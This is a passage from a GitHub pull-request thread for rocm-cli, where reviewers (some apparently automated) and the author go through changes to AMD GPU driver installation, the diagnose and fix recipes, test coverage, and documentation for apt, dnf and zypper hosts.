appear here whatever the outcome — the merge decision stays with a human
reviewer.

Informational — this describes commit 6e1a6f41, not the current head. The branch moved to dc7658da during this review, and that commit changes driver_install.rs, diagnose.rs, fix.rs and driver_steps.rs. Some findings below may already be addressed there. Line references are to 6e1a6f41 and are not attached to the diff. This comment does not gate the merge, and no change request was filed with it. The new head will be reviewed in a later round.

Review — needs work

Full review of the whole change.
The PR says it is "Part of #180" and does not claim to close it. It covers the driver-plan and diagnose/examine/fix parts of #180. It does not cover the issue's repo.amd.com amdrocm-* install, the clear message for the removed path, or ROCm 10.0 verification, and its own Scope section says so.

Blocking

Each finding is marked new or standing. Standing means it was raised in the previous automated round at 151c16f3 and found again here.

• [new] The new e2e scenario driver-install-04 fails on every Ubuntu host, and is the failing required "E2E tests" check — tests/e2e-cucumber/tests/e2e/driver_steps.rs:21-51, tests/e2e-cucumber/features/driver_install.feature:42-45

  • The When step runs install driver --dry-run without --dkms.
  • apt_driver_plan only emits commands when dkms is true (apps/rocm/src/driver_install.rs:1192), so the plan renders execution_commands: <none>. CI run 38723671889 shows exactly that output on driver-install-04, reported as the 1 unexpected failure.
  • The assertion also hard-codes | sudo gpg. That would fail as root even after --dkms is added, because the escalation prefix is empty there.
  • docs/testing.md:1604-1606 describes the scenario as asserting what the plan "writes". A dry run writes nothing, and today the scenario passes nothing.
  • Confidence 100 · logic · Fix: run ["install","driver","--dkms","--dry-run"], match gpg --dearmor -o /etc/apt/keyrings/rocm.gpg without the sudo prefix, and change "writes" to "plans" in docs/testing.md.

• [new] Twin divergence: rocm diagnose now prints family-specific fix-7 commands, but the rocm fix recipe for fix-7 is still apt-only — crates/rocm-core/src/fix.rs:389-401, crates/rocm-core/src/diagnose.rs:1096-1122

  • This PR rewrote check_7_stale_repos to emit dnf/zypper list, refresh and verify commands. The fix-7-stale-repos recipe in RECIPES still lists /etc/apt/sources.list.d, sudo apt update, and verifies with apt update.
  • The PR also adds /etc/zypp/repos.d scanning and zypp markers (examine.rs), so SLES hosts now newly trigger fix-7. On those hosts rocm diagnose says zypper refresh while rocm fix fix-7-stale-repos says apt update.
  • The recipe is the authoritative catalog side (AGENTS.md §7), so it should follow the diagnose copy. fix-12 already got that treatment, with a drift test.
  • Confidence 85 · logic · Fix: give the fix-7 recipe the same per-family commands, and add a drift test like fix_12_apt_commands_match_the_diagnose_copy_verbatim.

• [new] check_7 prints apt commands on hosts whose family is "unknown" (e.g. pacman), which contradicts the contract this PR documents — crates/rocm-core/src/diagnose.rs:1098-1122 vs. the repo_pkg_family doc comment at :1425-1452

  • The comment says the "unknown" sentinel exists so the code does not "print an apt command on a pacman host". It also says the match family arms treat it as "no package-manager-specific command".
  • check_7 matches with _ => arms that emit ls /etc/apt/..., sudo apt update, and an apt verify. check_7 can fire on a symptom keyword alone, with no repo files present.
  • The comment states the intent and check_12 implements it, so the comment governs here.
  • Confidence 85 · logic · Fix: give check_7 explicit "apt" arms and an empty _ arm, as check_12 has.

• [standing] fix-12 tells the user to remove amdgpu-dkms and then "reinstall" with a command that does nothing on many of the hosts it fires on — crates/rocm-core/src/diagnose.rs:1497-1530, crates/rocm-core/src/fix.rs (fix-12 recipe, ~L503-516)

  • repo_pkg_family resolves dnf/zypper through openmpi's broad ID_LIKE resolver. So on Fedora, Amazon Linux, and EL/SLES versions outside the driver-plan matrix, fix-12 emits sudo dnf|zypper remove -y amdgpu-dkms followed by rocm install driver --dkms --yes.
  • For those hosts build_driver_install_plan returns an unsupported plan, and install_driver executes nothing when !plan.supported (driver_install.rs:44). Ubuntu 26.04 likewise gets the command-less ubuntu_native_archive plan. The user ends up with the driver package removed and nothing reinstalled.
  • AGENTS.md §3 requires remediation that names a command to name one that "actually clear[s] the condition that printed it".
  • The PR's open question about fix-12 concerns when it applies and what its verify checks, not this reinstall step.
  • Confidence 75 · logic · Fix: gate the remove-and-reinstall pair on the driver plan's supported-distro predicate, exposed from one shared place. Otherwise print distro-native guidance.

• [standing, narrowed] Invalid override values are not all refused: a non-UTF-8 ROCM_CLI_AMDGPU_DRIVER_VERSION silently becomes latest — apps/rocm/src/driver_install.rs:853-855

  • The comment directly above says an invalid override "is refused rather than silently falling back to latest". But Err(_) also catches VarError::NotUnicode and maps it to latest.
  • The ROCDXG doc comment at :466-467 claims ROCDXG is resolved "the same way". It is not: ROCDXG goes through resolve_shell_default_template, which treats an empty value as unset, while the new override refuses an empty value.
  • Confidence 85 · logic · Fix: map Err(NotPresent) to latest and refuse NotUnicode. Decide whether an empty value means unset, then make the comment and docs match.

• [standing, different scope] User-observable output this PR introduces or changes has no Gherkin scenario (AGENTS.md §3) — apps/rocm/src/driver_install.rs:853-872, crates/rocm-core/src/diagnose.rs (check_3/7/12 command text), crates/rocm-core/src/fix.rs (fix-12 recipe)

  • rocm install driver now refuses a malformed ROCM_CLI_AMDGPU_DRIVER_VERSION with a named reason, and puts a valid one in repo_version: and the URL. Only unit tests cover either. A scenario would be non-mutating and runnable on the mock lane, since run_rocm_with_env already takes env pairs.
  • The rewritten fix-3/fix-7/fix-12 remediation printed by rocm diagnose and rocm fix appears in no feature file. rocm_doctor_skill.feature compares only titles and classes.
  • The PR text explains only the Ubuntu 26.04 gap.
  • Confidence 80 · architectural · Fix: add a refusal scenario that asserts the reason, the invalid_driver_version_override policy and execution_commands: <none> together. Add at least one diagnose scenario per changed remediation, or state in the PR text why one cannot run.

• [standing, different specifics] The PR description misstates parts of the change — description vs. diff

  • It names "New e2e scenario (examine-20)". The scenario added is examine-24.
  • It never mentions the other new scenario, driver-install-04, which is the one failing CI.
  • The Test plan says grep -rn "amdgpu-install|…" apps/rocm/src "returns zero matches". apps/rocm/src/runtime_install_finalize.rs:155 still says amdgpu-install in a doc comment, and the issue's criteria rule out references in docs.
  • It says it sanitises "codename/id-like fields". The code sanitises VERSION_ID and the codename, and ID_LIKE is not sanitised. The VERSION_ID allow-list goes unmentioned.
  • It places dnf_driver_plan()/sles_driver_plan() in apps/rocm/src/main.rs; they live in apps/rocm/src/driver_install.rs.
  • Unmentioned changes: fix-7's per-family rewrite, the quarantined-file filter (is_live_rocm_repo_file_name), and the new distro_id_like field.
  • Confidence 90 · mechanical · Fix: narrow and correct the description to match the diff, and either remove the remaining mention or narrow the grep claim.

Non-blocking

• The new distro_id_like is #[serde(skip)], so remote rocm doctor diagnoses without it — crates/rocm-core/src/examine.rs:217-221, apps/rocm/src/remote/doctor.rs:40-51
  • parse_examination deserializes the remote examine --json and runs diagnose on it. repo_pkg_family's ID_LIKE fallback therefore always sees an empty field remotely. An Alma/Rocky-style host with no repo file resolves to dnf locally and unknown remotely, which changes the fix-7/fix-12 commands.
  • Confidence 75 · architectural · Fix: serialize it with #[serde(default, skip_serializing_if = "String::is_empty")] and list it as a deliberate addition in the JSON key-contract test.
• Ubuntu 26.04 arm: no test pins reboot_required: false — apps/rocm/src/driver_install.rs:986
  • Flipping it to true leaves all three tests for that arm green (confirmed by mutation).
  • Confidence 100 · mechanical · Fix: assert !plan.reboot_required.
• Several new branches survive single-point mutation (each confirmed by a run)
  • The check_7 dnf arm, the check_12 dnf/zypper remove and refresh lines, the fix-12 recipe zypper line, and dropping /etc/zypp/repos.d from the repo-file scan all stay green.
  • So does record_distro no longer capturing ID_LIKE: repo_pkg_family_fallback_is_id_like_aware sets the field directly.
  • ..._does_not_claim_repo_native_evidence_for_other_install_methods and repo_native_broken_fires_on_dpkg_symptom_regardless_of_install_method would both pass with the production change reverted.
  • The changed examine-12 step passes against the reverted 7.2.4 too.
  • Confidence 100 · mechanical · Fix: add assertions for the dnf/zypper arms and for the probe capturing ID_LIKE.
• --dkms help still says "Use the DKMS driver wrapper flow." — apps/rocm/src/main.rs:787
  • The wrapper is what this PR removes, and Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180's criteria cover help text. The policy id linux_official_amd_dkms_wrapper carries the same word, but renaming it changes a contract.
  • Confidence 70 · mechanical · Fix: reword the help text.

Decisions for the author

• Floating latest driver default vs. a pinned or plan-time-resolved release — tradeoff
  • With latest, the plan the user approves does not name the build that will be fetched, and repo layouts can shift under it. In particular, the hard-coded el/<ver>/sle/<ver> paths in dnf_repo_baseurl/sles_repo_baseurl are unverified against what latest serves.
  • Pinning restores reproducibility at the cost of a manual bump. The PR raises this as an open question, so it stays the author's call.

Positive signals

• Every host-sourced value interpolated into the privileged shell commands (VERSION_ID, codename, the version override) goes through one strict allow-list, is_safe_shell_token, before use. A hostile value falls back to a non-mutating plan rather than being used verbatim.
• is_live_rocm_repo_file_name keeps the files fix-7/fix-12 tell the user to create (*.bak) from re-triggering the same fix.

Deployment notes

• Breaking JSON change: rocm examine --json rocm_install_method values are renamed: amdgpu-install → repo-native, tarball-or-other → runfile-or-tarball. External consumers need updating.
  • A remote host on an older CLI still reports amdgpu-install, and the new is_repo_native_installed does not recognise it.
• Removed env vars: ROCM_CLI_AMDGPU_VERSION and ROCM_CLI_AMDGPU_PACKAGE_RELEASE are no longer read. ROCM_CLI_AMDGPU_DRIVER_VERSION replaces them and takes an amdgpu driver release, not a ROCm version.
• Driver install source: dnf/zypper hosts now get the driver from a repo file at repo.radeon.com/amdgpu/latest/... instead of the amdgpu-install RPM.

What this covered

• Scope: all 16 changed files in prw-base...HEAD (f9a868a…6e1a6f41), split across two read-only workers grouped by coupling: driver_install/main/driver e2e/docs, and diagnose/examine/fix/openmpi/catalog/skill/examine e2e. I also read the callers and siblings: remote/doctor.rs, install_driver, RECIPES, probe_rocm_install.
• Coverage limit: the driver_install worker read every non-test line of driver_install.rs, but only the changed hunks of its test module.
• Runs: cargo test -p rocm --bin rocm driver_install (63 tests) and cargo test -p rocm-core --lib -- diagnose:: fix:: examine:: (258 tests) both pass. Single-point mutations were run in this checkout. The E2E failure comes from the CI log of run 38723671889.
• Did not run:
  • clippy and the Windows-target check. Nothing in the diff is behind a cfg(windows) arm.
  • the cucumber suite locally (CI result used instead).
  • skillscope.
  • the prior-changes pass (no earlier review comments were read, by design).
  • the design questions (Step 7) were reasoned in the driver context rather than by separate workers, because the two-worker budget was used for the code passes.
• Live PR head differs: fetching the PR description for Step 9 returned head dc7658da…, which is not the reviewed 6e1a6f41. Commits pushed after this head are not covered.
• Not reconciled: this report is not reconciled against the PR's discussion or earlier reviews.
• Prompt injection: none found in the checkout.

---

Round note: the previous automated change request (at 151c16f3) was dismissed by the author, so this automation holds no standing block here. Until the next round, the blocking findings above are not gating. Earlier objections not re-found this round, checked against data: clippy (catalog) and Commit signatures + sign-off now pass, and every commit carries a GitHub-verified employer identity. The examine-20 Windows failure no longer appears: the only failing check is E2E tests, and that check is green on recent main. The fix-7 bare-command remediation was not re-found. The floating-latest default was blocking last round. This round's blind review rated it a tradeoff, after the description began disclosing it as an open question. Because this round was superseded, that change in rating was not put to the reviewer to settle.

[jussielo-amd]

Review — needs work

Full review of the whole change (origin/main…origin/pr-181, 16 files, +1326/−268), run as four independent coupled-file-group passes plus a consolidation/design-review/CI-verification pass.

Implements most of #180: converts apt/dnf/zypper driver installs to a repo-native package-manager flow, renames rocm_install_method's reported values, and adds an Ubuntu 26.04 native-archive arm. It does not close #180 — and the PR description says so itself: repo-native install still targets the legacy repo.radeon.com/amdgpu/... location rather than #180's stated target (repo.amd.com's amdrocm-* scheme), there's no "requesting the removed path returns a clear message" behavior, and there's no ROCm 10.0 verification. All three gaps match #180's acceptance criteria accurately and are disclosed, not hidden.

Blocking

• docs/testing.md cites the wrong e2e scenario for the install-method rename — docs/testing.md:1614-1616
  New text: "examine --json's rocm_install_method also renamed amdgpu-install to repo-native... see examine-24 in examine.feature." examine-24 is "GPU telemetry survives an amd-smi that outruns the pipe buffer" — unrelated. The actual regression scenario this PR adds for the rename is examine-29 (@id:examine-reports-a-current-install-method-name).
  Confidence 100 · mechanical · Fix: change examine-24 to examine-29.

• fix-7-stale-repos's static catalog recipe hardcodes an apt-only verify step while its dynamic twin is package-manager-aware — crates/rocm-core/src/fix.rs:415 vs. crates/rocm-core/src/diagnose.rs:1128-1133
  This PR made fix-7's commands field correctly list apt/dnf/zypper variants, but left verify as the old "sudo apt update 2>&1 | tail -n 20" — a command that doesn't exist or does nothing on a RHEL/Fedora or SLES host. diagnose()'s dynamic check_7_stale_repos correctly varies verify by repo_pkg_family; only rocm fix fix-7-stale-repos run directly (bypassing rocm diagnose) hits the stale text. fix-12-installer's verify was written package-manager-agnostically in this same PR — the pattern fix-7 should have followed. The one parity test for fix-7 (fix_7_apt_commands_match_the_diagnose_copy_verbatim) only compares the first ls command, never verify.
  Confidence 85 · logic · Fix: give fix-7's verify an OS-agnostic form, or extend the parity test to cover it.

• New dnf/zypper command-building branches in check_7_stale_repos/check_12_repo_native_broken are not exercised end-to-end — crates/rocm-core/src/diagnose.rs:1098-1149, 1505-1557
check_7's dnf arm and check_12's dnf and zypper arms are never driven through diagnose() and asserted on in any test — only repo_pkg_family's own unit tests touch the strings "dnf"/"zypper", without exercising the match family blocks inside the checkers. A swap of the dnf/zypper command text, or deletion of an arm, would pass the full suite unnoticed. This is new behavior this change introduces with no test coverage.
  Confidence 85 · logic · Fix: add diagnose()-level tests for a dnf-family host hitting fix-7, and dnf-/zypper-family hosts hitting fix-12, following the existing SLES/zypper test's pattern.

• The new distro_id_like field has no test verifying it's actually parsed correctly — crates/rocm-core/src/examine.rs:217-221, :788
  New in this diff, consumed by diagnose.rs's repo_pkg_family SLES/ID_LIKE fallback. It's #[serde(skip)], so the e2e fixture that plants ID_LIKE='fedora' can exercise the parse line but can never assert the result; the only place under test that sets this field does so by direct struct assignment, not by exercising the parser. A typo'd key name ("ID_LIKE" → "IDLIKE") would go undetected.
  Confidence 75 · logic · Fix: add a unit assertion (e.g. assert_eq!(examined.distro_id_like, "fedora")) against a planted os-release fixture.

Non-blocking

• A new e2e assertion hardcodes sudo into an expected command string, where a root-running host would legitimately omit it — tests/e2e-cucumber/tests/e2e/driver_steps.rs:35-40, scenario driver-install-04
  The assertion requires the literal "| sudo gpg --dearmor..."; the actual command uses PrivilegeEscalation::detect().prefix(), which is empty on a uid-0 host — correct behavior per this same file's own driver_plan_as_root_never_emits_sudo test and doc comment. The scenario is tagged @requires-bare-metal @requires-os:linux with no privilege-level pin, and the repo elsewhere notes root CI execution is a known condition (e.g. the WSL self-hosted runner's comment that its guest "always runs as root"). Confirmed passing today on the GitHub-hosted (non-root) mock lane; could not confirm whether any self-hosted bare-metal lane runs this scenario as root.
  Confidence 72 · architectural · Fix: assert on the command sans sudo prefix, or branch the expectation on detected privilege level, matching how the unit tests already parametrize over both PrivilegeEscalation variants.

• An empty ROCM_CLI_AMDGPU_DRIVER_VERSION="" refuses the whole driver plan, unlike the sibling ROCDXG override's "empty means unset" semantics — apps/rocm/src/driver_install.rs:877-894 vs. :1665-1681
std::env::var returns Ok("") for a set-but-empty var; is_safe_shell_token("") rejects it, triggering full plan refusal. The sibling ROCM_CLI_ROCDXG_VERSION path explicitly treats empty as unset (pinned by its own test) and falls back to the default instead. No test covers the empty-string case for the newer variable.
  Confidence 70 · logic · Fix: either document why the two deliberately differ, or route the empty case through the same "empty means unset" filter.

• reference.md's fix-7 catalog row doesn't mention the zypper/SLES support this PR added to that check — skills/rocm-doctor/reference.md:123
  Still reads "Stale/conflicting APT/DNF repos..." though fix-7 gained real zypper detection/remediation in this diff, mirroring fix-12's row which was correctly generalized to package-manager-neutral wording.
  Confidence 70 · documentation · Fix: broaden the wording or add zypper explicitly.

• fix-3-rocm-kernel's rewritten text has no drift guard between fix.rs and diagnose.rs, unlike the new parity tests added for fix-7/fix-12 in this same PR — currently identical, but unguarded.
  Confidence 70 · logic · Fix: extend the existing shared parity test to cover fix-3 too.

• Pre-existing auto-applicable-fix-count contradiction, in a file this PR edits — skills/rocm-doctor/SKILL.md:175 ("four"/"23") vs. skills/rocm-doctor/reference.md:68 ("three"/never four) — confirmed pre-existing on main and not introduced by this diff, but pattern-relevant since it's the same skill-doc pair this PR otherwise keeps in sync.
  Confidence 70 · documentation · pre-existing.

Decisions for the author

• Writing a repo file pinned to the literal amdgpu/latest path makes the floating default persistent at the system level, not just for this one install run — tradeoff
  dnf_repo_baseurl/sles_repo_baseurl/the apt sources.list.d line all embed repo_version_expr (default "latest") directly into the written repo file. Once written, every subsequent unattended apt/dnf/zypper update && upgrade on that host — not only a future rocm install driver run — will pull whatever AMD currently publishes under amdgpu/latest, indefinitely, with no further gating from rocm-cli. This is broader than the "Open questions" note in the PR description (framed around what version the plan a user approves names). Worth confirming this persistent, unattended-upgrade exposure is the intended tradeoff versus resolving to a concrete version at write time (as the sibling ROCDXG flow does).
• An unrelated pre-existing-bug fix (the e2e repo_version digit-prefix assertion) is bundled into this otherwise single-purpose PR — non-blocking-improvement
  tests/e2e-cucumber/tests/e2e/examine_steps.rs:201-213 corrects an assertion that could never have passed against the already-documented "latest" default. The fix itself is correct; flagging only because keeping each PR to one logical change would have made this a one-line follow-up instead.

Positive signals

• is_safe_shell_token is applied uniformly to the version override, VERSION_ID, and the derived codename before any reaches a shell command, each path backed by a dedicated injection-regression test.
• repo_pkg_family explicitly degrades an unrecognized package manager (e.g. pacman) to a distinct "unknown" sentinel rather than silently defaulting to apt commands on a host that doesn't have apt — directly tested on both the stale-repos and repo-native-broken checks.
• The fix-7/fix-12 apt-parity tests deliberately drive diagnose() itself rather than comparing two hardcoded literals, so a real divergence between the static recipe and the dynamic check gets caught — exactly the discipline that should be extended to verify (see Blocking, above).
• The quarantine-skip logic added to examine.rs (is_live_rocm_repo_file_name ignoring .bak/.save/.disabled) is traced to and motivated by a real downstream bug: following fix-7/fix-12's own quarantine advice would otherwise re-trigger the same diagnostic finding.
• The Ubuntu 26.04 arm's own code comment candidly documents exactly why its path has no e2e coverage (no lane runs that OS release yet) rather than leaving the gap silent.

Deployment notes

• Breaking wire-contract change, disclosed by the author: rocm examine --json's rocm_install_method renames "amdgpu-install"→"repo-native" and "tarball-or-other"→"runfile-or-tarball", with no deprecation window.
• Breaking env var change: ROCM_CLI_AMDGPU_VERSION/ROCM_CLI_AMDGPU_PACKAGE_RELEASE are now silently unread (no error) rather than erroring; any automation still exporting them loses effect silently. ROCM_CLI_AMDGPU_DRIVER_VERSION (default "latest") replaces them with different default semantics (floating vs. the old pinned 7.2.4).
• See the "latest"-persistence point under Decisions for the author above.
• CI: two checks are currently failing — E2E tests (Strix Halo, Windows, current) and its downstream E2E consolidated report (self-hosted). Both trace to the same root cause: an HTTP 403 from repo.amd.com downloading a TheRock tarball during Lemonade engine pre-warm on the Windows runner — unrelated to this PR's Linux-only driver-install/diagnose/examine code, confirmed by reading both failing jobs' logs directly. This reads as an infrastructure flake, not a regression from this change; recommend a rerun or maintainer escalation rather than treating it as blocking, but it is unresolved as of this review.

What this covered

Full diff and all 16 changed files read completely across four independent, blind (no PR description/ticket read) passes grouped by coupling: (1) driver_install.rs/main.rs + driver-install e2e, (2) diagnose.rs/fix.rs/openmpi.rs, (3) examine.rs + examine e2e, (4) docs/catalog consistency (README.md, docs/testing.md, docs/manual-testing.md, doctor-catalog.json, skills/rocm-doctor/SKILL.md, skills/rocm-doctor/reference.md). Consolidated findings, deduped a citation error raised independently by two passes, ran a design-review pass (the "latest"-persistence point), confirmed the CI failure root cause directly against both failing jobs' logs, and read issue #180 to check the PR's stated scope against it.

Did not run cargo test/cargo clippy locally against the PR head; relied on live CI instead (all other checks green as of head commit 29de972d). No history (git log/git blame) pass was run as a separate pass.

[juhovainio]

Thanks for the thorough review! Addressed in 8270d02:

Blocking

• docs/testing.md: fixed the stale examine-24 → examine-29 scenario citation.
• fix-7-stale-repos's static verify field was apt-only while diagnose.rs varies it by package family. Rewrote it as an OS-agnostic "run the line matching your package manager" string (matching the recipe's own commands convention), and extended the existing fix_7_apt_commands_match_the_diagnose_copy_verbatim test to assert verify parity across apt/dnf/zypper against what diagnose() actually emits.
• Added the missing dnf/zypper diagnose()-level coverage you flagged for both check_7_stale_repos and check_12_repo_native_broken (previously only apt, plus SLES/zypper for check_7, were tested).
• Added a unit test asserting ID_LIKE is parsed into distro_id_like — this field is #[serde(skip)] so was previously untested by any JSON-output assertion.

Non-blocking, picked up

• driver_steps.rs's driver-install-04 step hardcoded sudo regardless of host root status. Now derives the expected prefix from rocm_core::openmpi::running_as_root(), so it holds on the always-root self-hosted WSL runner too.
• Broadened fix-7's row in skills/rocm-doctor/reference.md to mention dnf/zypper, matching fix-12's already-generalized wording.
• Added a parity test for fix-3-rocm-kernel (none existed before, unlike fix-7/fix-12). In writing it, found a real pre-existing drift: the static recipe's verify said head -n 5, diagnose.rs's dynamic check said head -n 20. Aligned the recipe to head -n 20.

Judgment calls — left as deliberate decisions, not oversights

• ROCM_CLI_AMDGPU_DRIVER_VERSION="" vs ROCM_CLI_ROCDXG_VERSION="": these differ intentionally. ROCDXG_VERSION goes through resolve_shell_default_template, which deliberately emulates real POSIX ${VAR:-default} parameter-expansion semantics (empty counts as unset — see resolve_shell_default_template_treats_empty_env_as_unset). AMDGPU_DRIVER_VERSION has no such templating; it's validated as an explicit override via is_safe_shell_token, which rejects empty and refuses with a diagnostic explaining why. Unifying these would mean either silently defaulting an explicit empty AMDGPU override (losing the helpful refusal), or making ROCDXG's shell-semantics emulation diverge from real shell behavior. Leaving both as-is.
• The "latest"-persistence tradeoff is already called out in this PR's own "Open questions" section — no code change, just flagging that it's a known, accepted tradeoff rather than something missed.
• The bundled unrelated fix in examine_steps.rs:201-213 was intentional, noted for visibility rather than split out, since it's a one-line, low-risk fix adjacent to code this PR already touches.

Verification: cargo fmt --check, cargo clippy --workspace --all-targets -- -D warnings, and cargo test across rocm-core, rocm, and e2e-cucumber all pass clean (no regressions).

Addressed in 8270d02

[jussielo-amd]

Summary

Review of this change, split into blockers and non-blocking cleanup. Six of the
non-blocking items are also attached as inline comments on their lines; the rest
are listed below only.

Blocking

1. crates/rocm-core/src/diagnose.rs:1547 — fix-12's verify step was
weakened from checking real package state to grepping rocm examine's
self-reported rocm_install_method marker.

probe_rocm_install sets that marker from repo-marker-file presence before
consulting dpkg/rpm. If rocm install driver --dkms --yes writes the repo file
(e.g. /etc/yum.repos.d/amdgpu.repo) but the amdgpu-dkms package/DKMS build
fails partway, the marker still exists, so verify's grep still passes and
fix-12 reports success on a broken driver install. The previous check (dpkg -l | grep -E 'rocm|amdgpu' ...) queried real package state directly; fix.rs:538
carries the same weakened string. This makes rocm fix's own success claim
unreliable for this recipe.

2. apps/rocm/src/driver_install.rs:1528 — the new SLES repo-native flow
runs rpm --import <key> → zypper refresh → zypper install -y amdgpu-dkms with no --non-interactive / --gpg-auto-import-keys.

zypper tracks trusted repository signing keys independently of the RPM
keyring, so an rpm --import doesn't guarantee zypper won't still prompt "new
repository signing key ... trust/reject?" on refresh/install. Under this PR's
unattended --yes flow (no stdin attached), that prompt would hang rather than
fail cleanly. This is unverified end-to-end since no CI host exercises the
zypper arm — worth confirming on real SLES hardware before merge.

3. Documentation not updated for the new Ubuntu 26.04
ubuntu_native_archive guidance arm — README.md, docs/testing.md,
docs/manual-testing.md.

All three docs are touched by this PR to document
ROCM_CLI_AMDGPU_DRIVER_VERSION, but none mention the new Ubuntu 26.04 arm. On
Ubuntu 26.04, rocm install driver now produces a supported: false plan
directing users to apt install rocm instead of the usual DKMS flow — new,
user-observable behavior that isn't documented anywhere.

Non-blocking

• apps/rocm/src/driver_install.rs:879 — ROCM_CLI_AMDGPU_DRIVER_VERSION=""
  (set but empty) is refused as invalid rather than falling back to latest,
  breaking the empty-is-unset convention used elsewhere (see
  resolve_shell_default_template_treats_empty_env_as_unset). (inline comment
  attached)
• apps/rocm/src/driver_install.rs:878 — the default driver version
  resolves to the floating alias latest, unlike the sibling WSL/ROCDXG flow,
  which resolves to a concrete pinned build via resolve_shell_default_template.
  Already flagged in this PR's own "Open questions" section but shipped as-is.
  (inline comment attached)
• apps/rocm/src/driver_install.rs:951 — is_safe_shell_token sanitization
  is applied per call site to version_id, codename, and the env override,
  but not to os_id. Currently inert (no raw shell interpolation of os_id
  today), but the sanitization is scattered rather than centralized, so a
  future os_id-based repo path could reintroduce the shell-injection class
  this PR closes for the other fields. (inline comment attached)
• apps/rocm/src/driver_install.rs:916 — the Windows no-op plan hardcodes
  repo_version_expr: "latest" instead of calling resolve_repo_version_expr().
  The adjacent comment already notes this is deliberate since no commands run
  on this path, but it does mean a malformed env override is silently
  unvalidated on Windows, unlike on Linux — worth a one-line note either in the
  comment or in the --dry-run output so it isn't mistaken for a validated
  value. (inline comment attached)
• apps/rocm/src/driver_install.rs:2685 —
  driver_plan_ubuntu_2604_uses_native_archive_guidance only asserts the
  rendered output contains "sudo apt install rocm", which pins the wording
  but doesn't establish it's sufficient remediation (no 26.04 host available to
  verify against). (inline comment attached)
• apps/rocm/src/driver_install.rs:993 — the in-code comment already
  acknowledges, citing AGENTS.md §3 by name, that this arm's Gherkin/e2e
  coverage gap doesn't fit either named exception (a gated lane, or a purely
  internal change), and explains why: read_os_release() reads the live
  /etc/os-release with no override, so no lane or host can reach this arm
  through the CLI itself. Flagging only because the PR ships the gap rather
  than closing it (e.g. via an injectable os-release override for e2e) —
  the disclosure itself is good. (inline comment attached)
• apps/rocm/src/runtime_install_finalize.rs:155 — a doc comment still
  lists amdgpu-install as a live plan type ("every caller builds a
  package-manager plan (apt, dnf, amdgpu-install)"), even though this PR
  removes it as an install method everywhere else it touched (README, fix.rs,
  diagnose.rs, examine.rs, skills/rocm-doctor/SKILL.md). Cosmetic, and this
  file isn't part of this PR's diff, so no inline comment is possible here —
  listed for completeness only.

[jussielo-amd]

Non-blocking: an empty ROCM_CLI_AMDGPU_DRIVER_VERSION (set but empty) is refused here instead of falling back to latest, the convention the sibling resolve_shell_default_template_treats_empty_env_as_unset helper documents. See the "Non-blocking" section of the review summary for details.

[juhovainio]

Judgment call, left as-is: refusing an empty override (rather than treating it as unset) is intentional here, not an oversight. Now documented in the comment above resolve_repo_version_expr (driver_install.rs:844-855): a user who sets ROCM_CLI_AMDGPU_DRIVER_VERSION by mistake (wrong var name, stray leftover export) and gets an empty string would otherwise see an unexplained latest on a system they thought they'd pinned. Erring toward a visible invalid_driver_version_override plan matches how wsl_rocdxg_driver_plan already handles a malformed ROCM_CLI_ROCDXG_VERSION. Open to flipping it to empty-is-unset for consistency with resolve_shell_default_template_treats_empty_env_as_unset if you'd rather have that — just say the word.

[jussielo-amd]

Non-blocking: resolves to the floating alias latest rather than a concrete pinned version, unlike the WSL/ROCDXG flow via resolve_shell_default_template. Already called out in this PR's own "Open questions" section. See the review summary for details.

[juhovainio]

Judgment call, shipped as noted in this PR's own "Open questions" section: the repo-native flow intentionally resolves to the floating amdgpu/latest/... alias rather than a pinned build, unlike the WSL/ROCDXG flow's resolve_shell_default_template. Pinning would need a stable way to discover the matching repo-native release per (os_id, version_id), and repo.radeon.com doesn't expose a parseable "latest pinned" endpoint for that today. Left as a known follow-up rather than guessed at in this PR.

[jussielo-amd]

Non-blocking: os_id doesn't go through is_safe_shell_token the way version_id/codename/the env override do. Currently inert (no raw shell interpolation of os_id today), but worth centralizing so a future os_id-based repo path doesn't reintroduce the injection class this PR closes elsewhere. See the review summary for details.

[juhovainio]

Fixed — os_id now goes through the same is_safe_shell_token allow-list as version_id/codename/the env override (driver_install.rs:943-945), with a comment explaining why it's centralized here even though nothing interpolates it into a shell command today.

[jussielo-amd]

Non-blocking: hardcodes repo_version_expr: "latest" instead of calling resolve_repo_version_expr(). The comment above is right that it's harmless since no commands run here, but it does mean a malformed env override goes unvalidated on Windows, unlike on Linux. See the review summary for details.

[juhovainio]

Addressed via documentation rather than a behavior change: added a comment on the Windows no-op plan (driver_install.rs:893-900) explicitly calling out that repo_version_expr: "latest" has not gone through resolve_repo_version_expr() and must not be read as confirmation that an override was seen or accepted, including in --dry-run output. Left the hardcoded value itself alone since this plan never produces commands (windows_validate_only), so there's no injection surface here -- only the documentation gap you flagged, which is now closed.

[jussielo-amd]

Non-blocking: this only asserts the rendered output contains sudo apt install rocm, which pins wording but doesn't establish it's the correct/complete remediation for Ubuntu 26.04 (no host available to verify against). See the review summary for details.

[juhovainio]

Acknowledged, left as a judgment call: agreed this only pins wording and doesn't prove it's the correct remediation on a real 26.04 host, but no such host is available in CI or locally to verify against (same root cause as the AGENTS.md #3 gap below). Pinning the wording at least catches silent drift once a host is available to validate the actual guidance against.

[jussielo-amd]

Non-blocking: good that this comment is upfront about the AGENTS.md #3 gap and why no lane/host can reach this arm — flagging only because the gap ships rather than being closed (e.g. an injectable os-release override for e2e). See the review summary for details.

[juhovainio]

Acknowledged -- this is a known, disclosed gap rather than one closed in this PR. Properly closing it means adding an injectable os-release override to the e2e harness so a lane can actually reach this arm, which is a larger harness change than this PR's scope. Left the in-code disclosure (driver_install.rs:981-998) as-is for now; can open a follow-up issue for the e2e override if you'd rather track it there than as a comment.

[juhovainio]

Addressed the review feedback in ab1a5a4 (pushed after a squash + rebase onto latest main to resolve the merge conflicts).

Blocking — all fixed

1. fix-12 verify weakened to a marker grep (diagnose.rs:1547, fix.rs:538): verify now queries real package state directly again (dpkg -l ... || rpm -qa ...) instead of grepping the self-reported rocm_install_method marker, so a repo file written but a failed amdgpu-dkms build no longer reports as success.
2. SLES zypper flow could hang on an unattended install (driver_install.rs:1528): the zypper refresh before zypper install -y amdgpu-dkms now runs with --non-interactive --gpg-auto-import-keys, so a new repo signing key doesn't leave zypper waiting on stdin that isn't attached. Pinned with a new test (driver_plan_sles_157_uses_documented_zypper_commands).
3. Ubuntu 26.04 ubuntu_native_archive guidance undocumented: added coverage to README.md, docs/testing.md, and docs/manual-testing.md.

Non-blocking — fixed

